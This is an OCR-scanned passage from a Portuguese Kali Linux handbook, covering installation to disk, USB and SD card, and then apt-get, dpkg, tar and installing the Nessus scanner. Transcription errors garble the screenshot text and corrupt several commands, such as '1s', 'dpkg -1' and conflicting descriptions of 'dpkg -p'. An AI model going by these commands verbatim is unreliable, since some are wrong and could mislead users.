entre a CPU (Central Processing Unit) e a memoéria RAM (Random Access Memory) do computador. E
recomendavel que todos os sistemas Linux tenham uma drea de swap, e a pratica comum consiste em
definir a area de swap com um tamanho igual ou correspondente a uma vez e meia a quantidade de
memoria RAM fisica instalada no computador. Como podemos ver na figura 2.9, Finish partitioning and
write changes to disk (Finalizar o particionamento e gravar as altera¢des em disco) estara selecionado para
vocé. Clique no botao Continue para avancar no processo de instalacio.



Partition disks

Mote that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.

Selact disk to partition:

SCS13(0,0,0) (sda) - 21.5 GB VMware, VMware Virtual 5

Screenshot | ' GoBack || Continue

Figura 2.7 - Particionamento de discos-2.

A figura 2.10 mostra a ultima chance de efetuar uma revisio no particionamento antes de a
configuracao do disco rigido ser confirmada. Existem maneiras de alterar os tamanhos das particdes no
futuro caso seja necessario, porém fazer isso pode potencialmente causar extensos danos ao sistema
operacional se nao for executado corretamente. Esse prompt do assistente contém um aviso informando
que vocé esta prestes a gravar dados em um disco rigido especificado usando as tabelas de particao
anteriormente definidas. Selecione YES e clique no botdo Continue para avancar no processo de
instalacao.



Partition disks

Selected for partitioning:
SC513(0,0,0) (sda) - VMware, VMware Virtual 5; 21.5 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
ane.

Partitioning scheme:

All files in one partition (recommended for new users)
Separate /fnome partition
Separate fhome, jusr, fvar, and ftmp partitions

Figura 2.8 - Particionamento de discos-3.

Partition disks

This is an overview of your curren!#— configurad partitions and mount points. Select a partition to mdﬁ'ﬁ;:’m settings
{file system, mount point, etc.), a free space to create partitions, or a device lo imtialize its partition table.

Guided partitioning
Configure software RAID

Configure the Logical Volume Manager
Configure encrypted volumes

= 5CSI3 (0,0,0) (sda) - 21.5 GB VMware, VMware Virtual 5
> #1 primary 20.5 GB f extd !

= #5 logical 9227 MB f swap swap

Undo changes to partitions

Finish partitioning and write changes to disk

Figura 2.9 - Particionamento de discos-4.

Apos clicar em Continue no ultimo prompt da secao de particionamento do assistente, a particao do disco
rigido terd inicio. A figura 2.11 mostra que a instalagdo propriamente dita estd ocorrendo nesse



instante. De acordo com o hardware que vocé tiver, esse processo pode levar somente alguns minutos

ou até mesmo uma hora ou mais.

Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCSI3 (0,0,0) (sda)

The following partitions are going to be formatted:

partition #1 of SCSI3(0,0,0) (sda) as extd
partition #5 of SC513 (0,0,0) (sda) as swap

Write the changes to disks?
' No

@ Yes

Screenshot Lcnntinue

Figura 2.10 - Particionamento de discos-5.



Install the system

Installing the system...

Copying data o disk...

Figura 2.11 - A instalagdo estd sendo realizada.

Configure o gerenciador de pacotes

O gerenciador de pacotes (package manager) é uma parte muito importante da instalagdo do sistema
operacional. O gerenciador de pacotes refere-se ao repositério de atualizagao a partir do qual o Kali
Linux extraird as atualizacdes e os patches de seguranca. E recomendédvel usar o espelho de rede
incluido no Kali Linux ISO, pois esse contera as fontes mais atualizadas para o gerenciamento de
pacotes. A figura 2.12 mostra que YES estara selecionado por default. Clique no botao Continue para

avancgar no processo de instalacio.



Configure the package manager

A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a nelwork mirror?
T No

s Yes.

Screenshot Go Back | Continue

Figura 2.12 - Configure o gerenciador de pacotes.

Se estiver usando um proxy, insira as informagdes para configuragdo no local apropriado no préximo
prompt do assistente ou deixe em branco, conforme mostrado na figura 2.13. Clique no botao Continue
para avangar no processo de instalagao.



Configure the package manager
If you need to use a HTTP proxy to access the outside world, enter the proxy information here.
otherwise, leave this blank.

The proxy information should be given in the standard form of *http:/f[[userll:passl@lhost[:port]”.
HTTP proxy iformation (blank for none):

i |

-S-:reensl.'n:-r't' ' 'G'nr.ﬂ;'uk : | Continue

Figura 2.13 - Configurando um proxy.

Instalando o GRUB Loader

O GRUB (Grand Unified Bootloader) corresponde a tela principal apresentada sempre que o
computador for iniciado. Ele permite a verificacdo de determinadas configuragdes no boot, faz
alteragdes em tempo real e ajustes nos parimetros antes que o sistema operacional seja carregado.
Embora o GRUB ndo seja necessario para alguns usuarios avangados, ele é altamente recomendavel na
maioria dos tipos de instalagdo. A figura 2.14 mostra que YES para instalar o GRUB estara selecionado

para vocé. Clique no botdo Continue para avancar no processo de instalacio.



Install the GRUB boot loader on a hard disk

it seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,

P
modifying the master boot record will make that operating systam temporarily unbootable, though GRUB
can be manually configured later to boot jt.

Install the GRUB boot loadar to the master boot record?

I [

I} :"I'ES:

Screenshot

Go Back Continue

Figura 2.14 - Instalagdo do GRUB.
Concluindo a instalacao

Agora remova o disco do computador e faga o boot novamente. Ao ser solicitado, clique no botdo
Continue para finalizar a instalagdo (Figura 2.15).



Finish the installation

fnstallabion complete
Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot Go Back | Continue |
L —
Figura 2.15 - Instalagdo completa.
Apos o novo boot, a tela de boas-vindas sera apresentada. Fa¢a login como o usuario root usando a
senha previamente definida durante o processo de instalacdo. Bem-vindo ao Kali Linux!

Instalacdo em um pen drive

Os dispositivos de memoria USB, normalmente conhecidos como pen drives e por varios nomes
diferentes, nada mais sio do que um dispositivo de armazenamento conectado ao computador por
meio de uma interface USB. Este livro recomenda o uso de um dispositivo USB com no minimo 8 GB
de espaco, mas de preferéncia com mais. Computadores novos podem fazer o boot a partir de
dispositivos USB. Se essa opcdo estiver selecionada, certifique-se de que o computador sendo usado
consegue efetuar o boot a partir de um dispositivo USB.

As secOes a seguir separam a instalacdo do Kali Linux no USB usando um computador com Microsoft
Windows ou com uma plataforma Linux. Ndo se esqueca de verificar a documentaciao disponibilizada
na homepage oficial do Kali Linux para consultar as atualizacdes nesse processo.

Quando se trata de pen drives sendo usados como dispositivos de boot, hd dois termos fundamentais
que sdo muito importantes: persistente e nao persistente. Ser persistente refere-se a capacidade de seu
dispositivo de reter qualquer arquivo criado ou modificado ap6s o computador ter sido desligado. Ser
ndo persistente refere-se ao dispositivo perder todas as configuracoes, as personalizacdes e os arquivos,
caso o computador seja reiniciado ou desligado. Especificamente neste livro, a instalagdo do Kali Linux
em um pen drive a partir de uma plataforma Windows sera nao persistente, e a instalacido a partir de
uma plataforma Linux sera persistente.



Windows (nao persistente)
Aplicagao necessaria - Win32 Disk Imager:

http://sourceforge.net/projects/win32diskimager/
Apos fazer o download do Kali Linux ISO, insira um pen drive no computador e permita que ele seja
automaticamente detectado pelo Windows, prestando aten¢ido na letra atribuida ao drive. A seguir,
abra o Win32 Disk Imager. Clique no icone da pasta para navegar e selecione o arquivo Kali ISO,
clicando no botao OK em seguida. Selecione a letra associada ao drive a partir do menu suspenso do
dispositivo. Por fim, clique no botdao Write (Gravar).
Quando o Win32 Disk Imager terminar de gravar o ISO, reinicie o computador e selecione o pen drive

no menu BIOS POST. A maioria dos fabricantes tem metodologias diferentes para fazer o boot a partir
de dispositivos USB; nao se esqueca de verificar a documentacio do fabricante do computador.

Linux (persistente)

Ao criar um pen drive persistente, novamente, tamanho ¢ documento! Quanto maior o pen drive,
melhor. Além do mais, de acordo com a versdo do Linux com a qual vocé ira criar esse dispositivo USB,
certifique-se de que a aplicacdo GParted esta instalada. Nao se esqueca de verificar a documentagiao de
seu sistema operacional se vocé tiver dificuldades para instalar o GParted. Um dos métodos a seguir
pode ser necessario em sua instalacdo Linux caso o GParted nao esteja instalado:

e apt-get install gparted

e aptitude install gparted

e yum install gparted
Apos efetuar o download do Kali Linux ISO, conecte o pen drive. Abra uma janela do terminal e
verifique a localizacido dos dispositivos USB por meio do comando a seguir:

mount | grep -i udisks |awk '{print $1}"
A figura 2.16 mostra a saida do comando como /dev/sdb1. A saida do dispositivo USB pode ser diferente

de acordo com os pardmetros e a configuragio dos computadores. No proximo comando, troque sdb
para que corresponda a identificacdo correta e remova qualquer nimero no final.



File Edit WView 5Search Terminal Help
¢ '{print $1}'

root@kali: #

Edit Wiew Search Terminal Help

pe vfat (rw,nosuid,nodev, relatime, fmask=00
set=ut 3, shortname=nixed, show quJHtTE,Tlu_h,

E r aot@kali ~ root{kali: -
Figura 2.16 - USB montado.

Use o comando dd para transferir a imagem do Kali ISO para o dispositivo USB.

dd if=kali_ linux_image.iso of=/dev/sdb bs=512k
Agora inicie o Gparted.
gparted /dev/sdb
O drive ja deve ter uma parti¢do contendo a imagem do Kali que acabou de ser instalada.

Adicione uma nova particao ao USB selecionando New (Novo) no menu que aparece apos clicar no
menu Partition (Particio) do File Menu Bar. Pequenas diferencas na saida podem estar presentes em
virtude dos varios fabricantes diferentes dos dispositivos. Em geral, os passos sdo parecidos com os
seguintes:

o Clique no espaco “ndo alocado” em cinza.

o Clique em New (Novo) no menu suspenso Partition (Particdo).

o Use os controles deslizantes ou especifique o tamanho do drive manualmente.

« Configure o File System (Sistema de Arquivos) para ext4.

o Clique em Add (Adicionar).

 Na janela principal, selecione Apply All Operations (Aplicar todas as operagdes) no menu suspenso Edit
(Editar).

o Clique em OK quando solicitado. Isso pode demorar um pouco.



Para acrescentar a funcionalidade de persisténcia, use os comandos a seguir:

mkdir /mnt/usb

mount /dev/sdb2 /mnt/usb

echo "/ union" >> /mnt/usb/persistence.conf
umount /mnt/usb

A criagdo do LiveUSB agora esta concluida. Reinicie o computador e faga o boot a partir do pen drive.

Instalacdo em um cartdao SD

Dispositivos de microcomputagdo como o Raspberry Pi e o Chrome Notebook do Google podem
executar em cartdes SD. Esses dispositivos pequenos podem ser usados para uma variedade de
propositos; o limite é apenas a sua imaginacdo. A maior vantagem de dispositivos como o Raspberry Pi
estd no fato de eles serem baratos e fazerem muito sucesso junto as comunidades de cddigo aberto,
tornando os recursos prontamente disponiveis aos interessados em qualquer lugar.

Ha uma desvantagem em instalar o Kali Linux em dispositivos ARM: as imagens sdo personalizadas e
devem ser definidas para cada tipo de hardware. As imagens para os dispositivos ARM podem ser
localizadas nas paginas oficiais de download do Kali em http://www.kali.org/downloads/. Nao se esqueca
de verificar o site para conferir se o seu hardware tem uma imagem disponivel para download.

Os passos a seguir oferecem um guia rapido para a instalagdo do Kali Linux em dispositivos compativeis
com arquiteturas baseadas em ARM.

1. Faga o download da imagem apropriada a partir do site oficial do Kali
(http://www.kali.org/downloads/)

2. Insira um cartdo SD vazio. Verifique o local de montagem por meio do comando a seguir:
mount | grep -i vfat

(Assumindo /dev/sdb para o proximo passo.)

3. Transfira o arquivo Kali.img para o cartdo SD.
dd if=kali.img of=/dev/sdb bs=512k

4. Desmonte e faga a sincroniza¢io de qualquer operac¢io de escrita antes de remover o dispositivo:

umount /dev/sdb
sync

5. Remova o cartao SD.

6. Insira o cartdo SD contendo a imagem do Kali Linux em seu dispositivo de computagio com
arquitetura ARM e faca o boot com o cartdo SD.

Resumo

Neste capitulo, os topicos discutidos possibilitardo ao usudrio instalar o Kali Linux na maioria dos
computadores, laptops, pen drives e dispositivos de microcomputac¢do. Instalar o Kali Linux é como
andar de bicicleta; aprenda uma vez e vocé nunca mais se esquecera de como instalar o Kali. Nédo se
esqueca de verificar a documentagao e os féoruns de mensagens das comunidades no site oficial do Kali,



a medida que novas atualizagdes, versdes e tecnologias forem desenvolvidas na comunidade de
seguranca. Estar ligado a outros profissionais da drea de seguranca, a pessoas que se interessam pelo
assunto como hobby e igualmente aos hackers ird expandir seus conhecimentos, fard vocé mergulhar
mais fundo em novos projetos e ajudara a responder as suas perguntas.



CAPITULO 3
Softwares, patches e atualizacdes

Informacoes contidas neste capitulo:
o APT: um utilitario para manipulac¢ao de pacotes
o Gerenciador de pacotes do Debian

e Tarballs

« Um guia pratico para a instalagdo do Nessus

Visao geral do capitulo e principais pontos de aprendizagem

Este capitulo explica o processo necessario para manter, atualizar e instalar aplicacdes personalizadas e
de terceiros usando o utilitdrio APT para manipulac¢ao de pacotes (apt-get) e o gerenciador de pacotes
do Debian (dpkg).

APT: um utilitario para manipulacdo de pacotes

O utilitario APT para manipulacio de pacotes, conhecido simplesmente como apt-get, é uma
ferramenta de linha de comando leve e extremamente eficiente, usada para a instalagido e a remocio de
pacotes de software. O apt-get mantém o controle de tudo o que ¢ instalado, juntamente com as
dependéncias necessarias. As dependéncias correspondem aos pacotes de software adicionais
necessarios ao funcionamento adequado de outro software. Por exemplo, o Metasploit - o melhor
amigo do pentester — depende de uma linguagem de programac¢ido em particular chamada Ruby. Se o
Ruby nao estiver instalado, o Metasploit ndo podera nem mesmo ser iniciado; portanto o Ruby é uma
dependéncia do Metasploit.

O apt-get ndo s6 mantém um controle das dependéncias para os softwares instalados como também
controla as versoes e as interdependéncias quando houver atualiza¢oes disponiveis. Quando os pacotes
de software ndao forem mais uteis ou estiverem desatualizados, o apt-get alertara os usudrios sobre a
proxima atualizacao e perguntard se desejam remover os pacotes antigos.

O apt-get pode ser uma ferramenta muito simples ou altamente complexa. O gerenciamento de pacotes
é muito importante para garantir que o Kali Linux funcione corretamente e que os pacotes de software
estejam atualizados. Embora o usudrio comum do Kali Linux nado precise conhecer o funcionamento
detalhado do apt-get, ha alguns aspectos basicos que todo usudrio deve conhecer.

Instalando aplicacdes ou pacotes

A instalacio de softwares adicionais constitui a funcdo mais basica do comando apt-get e é uma
operacgao simples e facil. A sintaxe a seguir oferece um exemplo do uso do subcomando install:



apt-get install {nome do pacote}
Tente efetuar a instalagdo do software Gimp, um pacote de software para edi¢do de imagens:

apt-get install gimp

Update

De vez em quando, é preciso verificar as fontes, ou seja, os repositdrios, a procura de atualizacdes
(updates) para as varias aplicacdes e os pacotes instalados no Kali Linux. E recomendavel verificar se ha
updates antes de instalar qualquer pacote novo e é essencial antes de efetuar um upgrade do sistema
operacional ou de aplicagdes ou pacotes de software. A sintaxe para realizar updates é a seguinte:

apt-get update

Upgrade

Nenhum sistema ¢é perfeito; na verdade, todo grande sistema operacional estda em constante estado de
melhorias, aperfeicoamentos e gerenciamento de patches de modo a oferecer novos recursos ou corrigir
bugs. A funcio upgrade ira obter e instalar todas as versdes novas de pacotes de software ja instalados. A
beleza de todo sistema operacional baseado em Linux esta no fato de ter cédigo aberto, o que significa
que qualquer pessoa no mundo pode submeter um co6digo novo aos administradores da distribui¢ao do
sistema operacional para contribuir com a melhoria das funcionalidades do sistema, caso um bug seja
identificado ou haja necessidade de alguma melhoria. Isso também permite que os patches sejam
atualizados mais rapidamente se compararmos com o que ocorre com gigantes do mundo corporativo
como a Microsoft. Como mencionamos anteriormente, é muito importante realizar um update antes de
executar um upgrade. Para fazer o upgrade do Kali, use o comando a seguir:

apt-get upgrade

Upgrade da distribuigdo

A fungio de upgrade da distribuicdo funciona de modo muito semelhante a fun¢ao upgrade; no
entanto essa funcio também verifica as fontes em busca de pacotes especialmente marcados e suas
dependéncias, bem como novos pacotes que os administradores da distribuicio decidiram incluir
juntamente com o baseline mais recente. Por exemplo, ao chamar a funcio de upgrade da distribuicao,
toda a versdo do Kali passara da versdo 1.0 para a versdo 1.n ou 2.n, e assim por diante. Use a sintaxe a
seguir para fazer o upgrade do Kali:

apt-get dist-upgrade

Remove

O apt-get pode ser usado para reduzir a quantidade de memdria usada por um sistema ou para remover
um programa especifico. Também é aconselhavel que todos os pacotes que nao estiverem em uso - que
ndo estiverem servindo a nenhum propdsito e ndo forem necessarios ao seu sistema operacional — sejam
removidos. Por exemplo, se a aplicacdo Leafpad nédo for necessaria ao sistema, remova-a. Se a aplicagdo
tiver de ser futuramente reinstalada, isso podera ser feito, porém é melhor eliminar o que nao for
necessario. A sintaxe a seguir pode ser usada para remover uma aplicagdo ou um pacote:

apt-get remove {nome _do pacote}



Tente remover “leafpad” e, em seguida, reinstale a aplicacao:

apt-get remove leafpad
apt get install leafpad

Auto Remove

Ao longo do tempo, os pacotes de aplicagdes do sistema operacional sdo substituidos por versdes mais
recentes e melhoradas. A fun¢ao autoremove remove pacotes antigos que nao sio mais necessarios ao
funcionamento correto do sistema. E recomendavel executar a funcdo autoremove ap6és um upgrade ou
um upgrade da distribuicdo. Use a sintaxe a seguir para executar o auto remove:

apt-get autoremove

Purge

Qual é a diferenca entre remove e purge? A funcio remove nao destr6i nenhum arquivo de configuraciao
e deixa esses itens em seu disco rigido para o caso de esses arquivos serem necessarios no futuro. Isso é
util, em especial para aplicagdbes como o MySQL, o servidor Samba ou o Apache. Os arquivos de
configuracdo sio muito importantes para o funcionamento de suas aplicacdes. As vezes, porém, é
necessario remover do sistema todos os arquivos da aplica¢ao, até mesmo os arquivos de configuracio,
para poder reinstalar as aplicacoes e reinicia-las a partir de um estado vazio ou limpar todos os vestigios
de informacoes possivelmente sensiveis. Efetuar o purge de uma aplicagdo do sistema fara com que o
pacote da aplicagdo e todos os arquivos de configuragdo relacionados sejam totalmente apagados de
uma s6 vez. Tome cuidado para ndo se tornar muito complacente ao usar a fun¢ao purge; se usada
incorretamente ou na aplicacdo errada, essa fungdo pode ser perigosa, pois todos os arquivos associados
serdo removidos do sistema. O purge pode ser usado com a sintaxe a seguir:

apt-get purge {nome_do pacote}

Clean

Os pacotes sao baixados no sistema a partir das fontes, sio desempacotados e, em seguida, instalados.
Esses pacotes permanecerdo no sistema até segunda ordem, mas ndo serdo mais necessarios apos a
instalacao da aplicagdo. Com o tempo, esses pacotes podem consumir espaco em disco e devem ser
removidos. A sintaxe a seguir pode ser usada para iniciar a funcao clean:

apt-get clean

Autoclean

A funcio autoclean também limpa o sistema de modo semelhante a fun¢io clean; no entanto ela deve
ser executada apos um upgrade e um upgrade de distribuicdo no sistema, pois a fungido autoclean
removera pacotes antigos que foram substituidos por pacotes novos. Por exemplo, suponha que a
aplicagdo Y, versdo 1, tenha sido instalada no sistema e, apds um upgrade no sistema, a aplicagio Y vl
tenha sido substituida pela aplicacdo Y v2. A func¢io autoclean limpard somente a versio 1, enquanto a
funcido clean removera os pacotes contendo ambas as versoes da aplica¢ao. A sintaxe a seguir da inicio a
funcio autoclean:

apt-get autoclean



Reunindo tudo

O gerenciamento de pacotes nao tem a ver com trabalhar mais, porém com trabalhar de forma
inteligente. A seguir estdo os comandos que um usudrio pode utilizar para garantir que todos os
possiveis patches, pacotes e as atualizacdes estejam em dia e prontos para ser usados:

1. apt-get update && apt-get upgrade &% apt-get dist-upgrade
2. apt-get autoremove && apt-get autoclean

A entrada && na linha de comandos permite que varios comandos sejam executados sequencialmente.

Gerenciador de pacotes do Debian

As principais variantes (ou distribui¢des) do Linux possuem sistemas individuais de gerenciamento de
pacotes de aplicacdoes. O Kali Linux foi criado com base no sistema operacional Debian 7.0 e pode
precisar de aplicagdes de terceiros, por exemplo, o Nessus da Tenable. O Nessus é uma aplicacdo para
scanning de vulnerabilidades que pode ser instalada a partir de um pacote de arquivos apropriado ao
Debian Package Manager. O uso do Nessus sera discutido no capitulo sobre scanning. Ao fazer o
download desses tipos de aplica¢do, procure a extensio .deb no final do nome do arquivo.

Nao hd nenhuma vantagem em usar o Debian Package Manager em relagdo ao APT. O programa apt-
get foi criado especificamente para o gerenciamento de pacotes Debian. As aplicagdes de terceiros que
devem ser adquiridas de um fornecedor nao estdo disponiveis publicamente, e as fontes do apt-get nao
serdo capazes de localizar esses pacotes para fazer o download e a instalacdo. O Kali Linux ndo é capaz
de processar RPMs (Red Hat Packages) sem que haja um software extra instalado, e a pratica de usar
RPMs em um sistema baseado em Debian nao é aconselhavel.

Instalacao

Ap6s fazer o download de um pacote .deb, 0 comando dpkg deve ser usado para instalar o pacote. A
maioria dos pacotes .deb é simples e contém todas as dependéncias necessarias para que a aplicagdo
funcione adequadamente. Em casos raros, a maior parte deles relacionada a softwares com licenca, os
fornecedores poderdo exigir passos adicionais a serem executados antes da instalacdo e, em geral,
disponibilizardo instru¢des para a instalagio correta no sistema. Nao se esqueca de verificar a
documentacio disponibilizada pelo fornecedor antes de iniciar a instalacio:

dpkg -i {nome_do pacote.deb}/{diretdrio alvo}

Remocao
Remover um pacote (-r) ou efetuar o purge de um pacote (-p) funciona exatamente como no APT e
segue 0 mesmo padrio para o tratamento dos pacotes:

dpkg -r {nome_do pacote.deb}

O purge de um pacote com o gerenciador de pacotes do Debian funciona de modo semelhante a
fun¢do remove e pode ser iniciado com o comando a seguir:

dpkg -p {nome_do pacote.deb}



Verificando a existéncia de um pacote instalado

Um superpoder que o APT nao possui quando comparado ao Debian Package Manager é a incrivel
capacidade de interpretar o status corrente dos softwares instalados ou removidos. Ao usar a fungio
list do dpkg, um codigo contendo dois ou trés caracteres sera mostrado na saida, no inicio da linha,
indicando o estado atual referente a instalagio do pacote. Ao ser executada em relagido ao pacote de
aplicagdo Leafpad, a figura a seguir mostra que o pacote foi removido, mas que os arquivos de
configura¢do continuam disponiveis (Figura 3.1).

root@kali: ~

File Edit View Search Terminal Help

-1 leafpad
/Install/Remove/Purt

1'[.:ITU‘1 .Jur Conf-files/Unpa /halF-conf/Half-inst tr1|:| await/Trig-pend
Frr —L“U“Hjsn“ st-required (Status,Err: uppercas :

Architecture De

Figura 3.1 - Leafpad removido.

Apos o comando dpkg -P leafpad ser executado, os arquivos de configura¢ao do pacote também serdo
removidos. A figura 3.2 mostra a saida correspondente para o pacote de aplicagio Leafpad apds um
purge completo do sistema.

# dpke
rL-JJJ.I g dat _lt a ... 2/43B2 files and directories currently installed.)

safpad

Figura 3.2 - Leafpad apés um purge.
Para ver o status — instalado ou removido - de um software, use a sintaxe a seguir:
dpkg -1 {nome_do pacote}
Mais informagoes detalhadas sobre o pacote instalado também podem ser apresentadas na tela por
meio do comando a seguir:

dpkg -p {nome_do pacote}
Preste bastante atencdo ao uso das letras maitisculas e mintsculas. A letra “p” minuscula mostra as
informagoes na tela. A letra “P” maitscula faz o purge do pacote do sistema sem fazer a pergunta Are you
sure? (Vocé tem certeza?).

Tarballs

O tar, que teve origem nos primdrdios dos sistemas Unix, recebeu esse nome por causa de sua fungao, a



qual, inicialmente, consistia em escrever varios arquivos em Tape Archives (TAR). Nem todos precisam
da capacidade de transferir varios arquivos para uma fita, mas normalmente precisam da
funcionalidade inerente a aplicagdo tar, que consiste em gerar um arquivo contéiner que armazena
varios arquivos. Isso permite facilitar o transporte dos arquivos. Além do mais, esses arquivos podem ser
compactados com o gunzip (gzip), o que reduz o seu tamanho total. Alguns pacotes de terceiros ou
projetos de codigo aberto podem ser baixados em formato tarball e sdo facilmente identificados pela
extensdo de arquivo .tar ou .tar.gz no caso de tarballs compactados.

Durante um teste de invasdo, uma quantidade enorme de documentos de scanning, capturas de tela,
scripts personalizados e documentacio de cliente é reunida. O uso do sistema Tarball permite reunir,
administrar e dispor mais facilmente de todos os documentos. Também ¢ altamente recomendavel
manter todos os registros dos testes de invasio em um local seguro por pelo menos cinco anos ou até a
data determinada por estatutos regulatorios validos nos territdrios em que o trabalho for executado. Os
clientes também podem estipular prazos para a reten¢ao desses materiais, o que devera estar descrito no
ROE (Rules of Engagement, ou Regras do contrato) dos testes de invasio. O ROE sera discutido no
capitulo sobre relatérios. Se uma empresa for bastante ativa ao efetuar os testes de invasdo, a
quantidade de documenta¢io pode aumentar rapidamente e a situagdo pode fugir imediatamente do
controle. O tarball, especialmente quando compactado, prové um sistema de armazenamento para
manter os registros separados, além de facilitar o backup e a administragdo em geral.

Criac¢ao de um tarball

A cria¢do de um arquivo tarball pode ser muito simples ou muito complexa. Lembre-se de que a fung¢io
original do comando tar consistia em enviar arquivos ao TAR. Para usos avangados do sistema tarball,
dé uma olhada nas paginas do manual (man pages) do tarball (man tarball). Neste livro, somente a
criagio basica de arquivos tarball sera discutida; no entanto essas informacgdes sio tuteis e servem
praticamente para qualquer plataforma baseada em Linux. Os passos a seguir apresentam uma
descricdo que pode ser seguida por um usudrio para a criagdio de um tarball de exemplo. Os passos sao
0s seguintes:

Crie um diretério para os seus arquivos. Nesse caso, o diretério tar-demo1 estd sendo criado com o
comando mkdir:
mkdir tar-demol

A seguir, crie varios arquivos nesse diretorio, que poderao ser usados para demonstrar o comando tar.
Nesse caso, o sinal de maior (>) sera usado para criar um arquivo contendo “Hello world”. Esse arquivo
se chamara file1, e vdarios arquivos podem ser criados da mesma maneira usando a mesma sintaxe,
porém mudando o numero final. A criacio dos arquivos dessa maneira também fard com que eles
sejam movidos para o diretorio especificado — nesse caso, o diretorio tar-demo1:

echo "Hello World" > tar-demol/filel
echo "Hello World" > tar-demol/file2

Va para o diretério em que vocé deseja criar o tarball. Nesse caso, é o diretério tar-demo1:
cd tar-demol

Gere um novo tarball com os arquivos contidos no diretorio corrente. Nesse exemplo, o asterisco (*) é



usado para indicar que tudo o que estiver nesse diretorio deve ser adicionado ao arquivo tar:
tar -cf tarball-demo.tar *
O comando tar -tf é usado para listar o contetdo do tarball:

tar -tf tarball-demo.tar

Extraindo arquivos de um tarball

O processo de extrair arquivos de um tarball é muito simples; no entanto o local em que a informacgio
sera colocada é muito importante. Os arquivos extraidos de um tarball sdao colocados no diretério de
trabalho. Se a extracio de um tarball for feita a partir do diretério raiz, é ai que os arquivos acabardo
sendo extraidos. E aconselhdvel adquirir bons habitos o mais cedo possivel; desse modo, todos os
usuarios de tarballs devem utilizar a opcdo -c ao extrair arquivos. A op¢ao -C permite que o usudrio
especifique o local em que os arquivos devem ser extraidos.

Crie um diretorio no qual os arquivos serdo extraidos. Nesse caso, o diretorio criado ira se chamar tar-
demo2:
mkdir /root/tar-demo2
Extraia os arquivos no diretério especificado:
tar -xf /root/tar-demol/tarball-demo.tar -C /root/tar-demo2/
Certifique-se de que todos os arquivos foram extraidos no diretorio especificado no passo anterior:

1s /root/tarball-demo2/

Compactando um tarball

Os tarballs podem ser compactados durante a criagao usando varios tipos diferentes de algoritmos. Um
padrao em uso é o gunzip, também conhecido como gzip. Isso ¢ feito por meio dos comandos a seguir.
Crie um diretorio para os seus arquivos. Nesse caso, o diretdrio tar-demo3 sera criado:

mkdir tar-demo3
Agora mova seus arquivos para o diretorio. Como ocorreu anteriormente, o comando echo sera usado
para criar os arquivos deste exemplo:

echo "Hello World" > tar-demo3/filel
Va para o diretério em que vocé deseja criar o tarball. Neste exemplo, o diretorio tar-demo3 sera usado:

cd tar-demo3
Gere um novo tarball com os arquivos contidos no diretério corrente. Isso é feito por meio das op¢oes -
czf do comando tar. As opgdes do comando tar garantem que o tarball sera criado corretamente. A
op¢ao c cria um novo arquivo, a op¢do z garante que os arquivos serao compactados (zipped) e a op¢ao
f indica que o nome apds as opg¢des (tarball-demo.tar.gz) serda usado como o nome do novo arquivo.
Novamente, o asterisco (*) permite que o tar saiba que tudo o que estiver nesse diretério deve ser
incluido no novo arquivo tar:

tar -czf tarball-demo.tar.gz *

A listagem do conteudo do tarball pode ser vista usando as opgdes t e f. A op¢do t indica que o



conteudo do arquivo deve ser mostrado (na tela) e, novamente, a op¢do f indica que o nome do
arquivo sera especificado apos as opgoes:
tar -tf tarball-demo.tar

A extragdo de arquivos de um tarball compactado funciona exatamente da mesma maneira que a
extragdo de arquivos de um tarball ndo compactado. A unica mudanca estd no fato de a opc¢io x ser
usada para indicar que o tar deve extrair o conteudo do tarball. Embora nao seja necessario, nomear o
arquivo com a extensao .gz para informar as outras pessoas que o tarball estd compactado consiste em
uma pratica padrdo. Observe que o arquivo nesse exemplo possui dois pontos (.tar.gz); isso é
totalmente aceitavel em ambientes Linux e é padrido quando se trata de arquivos tar compactados:

tar -xf {arquivo_tarball.tar.gz} -C {diretorio para os_arquivos}

Um guia pratico para a instalacao do Nessus

A Tenable, um nome altamente respeitado na comunidade de seguranca, criou uma aplicagao incrivel
chamada Nessus para efetuar o scanning de vulnerabilidades. Ha duas versdes da aplicagao, que
oferecem diferentes niveis de funcionalidades e de suporte: a versio Nessus Professional e a versdo
Home. A versdo Professional oferece muito mais plug-ins para verificacdo de conformidade, SCADA e
verificagao de configuragoes e é incrivelmente eficiente para uso em equipe. Neste livro, a instalagido do
Nessus Vulnerability Scanner com o home feed sera usada. O Nessus sera discutido com mais detalhes
no capitulo sobre scanning, porém instalar o Nessus agora ajudarda a consolidar os conhecimentos
adquiridos neste capitulo.

Atualizacdo e limpeza do sistema antes da instalacao do Nessus
Em uma janela do terminal, digite os comandos a seguir:

apt-get update && apt-get upgrade && apt-get dist-upgrade
apt-get autoremove && apt-get autoclean

Instalacao e configuragao do Nessus

Faca o download do Nessus 5.0 ou de uma versio mais recente a partir de
http://www.nessus.org/download. Selecione o pacote Debian para o sistema operacional 32 bits ou 64 bits,
conforme apropriado. Leia o contrato de licenca e, se aceitavel, concorde clicando no botido Agree
(Concordo). O Nessus ndo podera ser instalado se o contrato nao for aceito. Preste atencao no local em
que o arquivo esta sendo baixado, pois sera necessario para efetuar a instalagio.
Em uma janela do terminal, digite o seguinte comando:

dpkg -i ~/{local do download}/Nessus-{versdo}.deb
Um guia de instalagdo mais completo pode ser encontrado no apéndice A para a configuragio de um
framework para ambiente de testes de invasdo usando o Tribal Chicken.

Conclusao

Este capitulo discutiu as habilidades fundamentais necessarias para o gerenciamento de pacotes no



sistema Kali Linux. O APT é uma ferramenta eficiente de linha de comando que automatiza o
gerenciamento de pacotes, as atualizagdes e os patches. O Debian Package Manager (dpkg) é o sistema
para efetuar o gerenciamento de pacotes, a partir do qual foi desenvolvido o APT. Com um
entendimento basico dessas ferramentas e estando familiarizado de modo geral com elas, qualquer
pessoa podera manter um sistema atualizado e instalar novas aplicac¢des.

Para um uso avangado das ferramentas descritas neste capitulo, consulte as paginas do manual, seja em
uma janela do terminal ou online, nos respectivos sites oficiais. Essas ferramentas podem gerar um
ambiente perfeito para qualquer individuo ou destruir todo um sistema sem dar um unico aviso ou sem
